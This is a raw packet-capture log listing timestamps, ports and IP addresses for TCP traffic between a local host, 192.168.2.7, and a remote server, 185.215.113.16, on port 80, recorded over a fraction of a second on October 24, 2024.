Oct 24, 2024 04:02:05.307718992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308304071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308343887 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308373928 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308388948 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308418036 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308474064 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308505058 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308523893 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308541059 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308552027 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308583021 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308583021 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308629036 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308638096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308676004 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308682919 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308717012 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308732033 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308768988 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308773041 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308805943 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308811903 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308837891 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308851004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308876991 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308892012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308933020 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.308950901 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308984995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.308988094 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309025049 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309041023 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309071064 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309087038 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309104919 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309109926 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309144974 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309165001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309210062 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309221983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309264898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309273958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309303999 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309318066 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309345007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309359074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309396029 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309406042 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309438944 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309451103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309487104 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309504986 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309523106 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309524059 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309561014 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309565067 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309595108 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309602976 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309632063 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309639931 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309660912 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309669971 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309695959 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309699059 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309732914 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309734106 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309767962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309782982 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309803009 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309807062 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309838057 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.309842110 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.309885025 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.349900961 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.349935055 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.349988937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.350023985 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.350027084 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.350044966 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.350059986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.350075006 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.350096941 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.350106001 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.350143909 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384227991 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384264946 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384299994 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384330034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384331942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384349108 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384367943 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384378910 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384409904 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384692907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384723902 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384749889 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384757042 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384776115 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384813070 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384826899 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384846926 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384855986 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384895086 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384912014 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384931087 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384941101 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384963036 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.384979010 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.384998083 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385032892 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385032892 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385054111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385102987 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385139942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385160923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385174036 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385189056 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385211945 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385222912 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385260105 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385525942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385560989 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385576010 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385597944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385610104 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385632992 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385638952 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385668993 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385677099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385704041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385713100 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385739088 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385747910 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385775089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385785103 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385812998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385818005 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385862112 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385927916 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385963917 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.385977030 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.385998964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386025906 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386044979 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386051893 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386101961 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386111021 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386147976 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386157990 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386178017 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386193037 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386226892 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386230946 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386269093 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386274099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386305094 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386312962 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386351109 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386354923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386385918 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386400938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386424065 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386430025 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386466026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386473894 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386512041 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386519909 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386567116 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386574030 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386609077 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386620045 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386645079 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386656046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386679888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386701107 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386710882 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386724949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386744976 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386756897 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386779070 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386792898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386814117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386823893 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386850119 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386859894 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386885881 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386892080 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386921883 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386935949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386956930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.386965036 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.386992931 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.387002945 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.387028933 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.387037992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.387064934 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.387078047 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.387110949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.426681995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.426718950 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.426755905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.426789045 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.426825047 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.426839113 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.426879883 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427472115 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427525997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427556038 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427582979 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427591085 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427599907 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427629948 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427663088 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427707911 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427759886 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427804947 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427814007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427850962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427858114 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427895069 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427902937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427932978 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.427954912 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427982092 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.427983999 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428019047 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428026915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428050041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428066015 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428095102 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428105116 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428141117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428153992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428174973 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428185940 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428212881 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428219080 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428247929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428257942 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428294897 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428302050 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428334951 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428348064 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428373098 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428379059 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428410053 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428417921 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428452015 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428463936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428498983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428520918 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428534985 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428539038 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428569078 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428577900 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428622007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428630114 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428682089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428715944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428730011 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428750038 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428766966 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428792000 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428797007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428828955 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428841114 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428874969 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428883076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428916931 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428929090 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428951979 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428961992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.428987026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.428997040 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.429023981 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.429030895 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.429065943 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.469160080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.469193935 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.469245911 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.469269037 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.469280958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.469290972 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.469316006 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.469326019 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.469352007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.469358921 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.469397068 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.503349066 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.503406048 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.503427029 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.503449917 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.503459930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.503494024 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.503528118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.503556013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.503560066 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.503597021 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.503619909 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.503792048 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.503845930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.503966093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.503983974 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504034996 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504045010 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504070997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504086018 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504116058 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504125118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504160881 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504168034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504198074 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504231930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504266977 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504278898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504301071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504312992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504337072 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504350901 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504369974 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504379988 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504406929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504420996 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504447937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504461050 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504486084 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504488945 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504532099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504579067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504632950 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.504636049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.504673004 CEST	80	49930	185.215.113.16	192.168.2.7
